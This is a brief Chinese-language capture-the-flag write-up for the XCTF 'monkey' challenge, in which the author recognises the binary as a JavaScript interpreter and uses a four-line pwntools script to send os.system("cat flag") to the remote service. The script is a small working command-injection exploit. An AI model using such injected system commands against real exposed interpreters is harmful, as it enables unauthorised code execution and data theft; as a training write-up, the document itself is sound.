XCTF-monkey-WP

Posted on Nov 12, 2020

这道题拿到的时候发现有20多兆,但是看名字像js的解释器,启动程序之后发现就是,所以直接连接cat flag就行了...

from pwn import *
sh = remote("220.249.52.133","****")
sh.sendline("os.system(\"cat flag\")")
sh.interactive()

开拓了一下视野,碰到较大的文件也不应该害怕。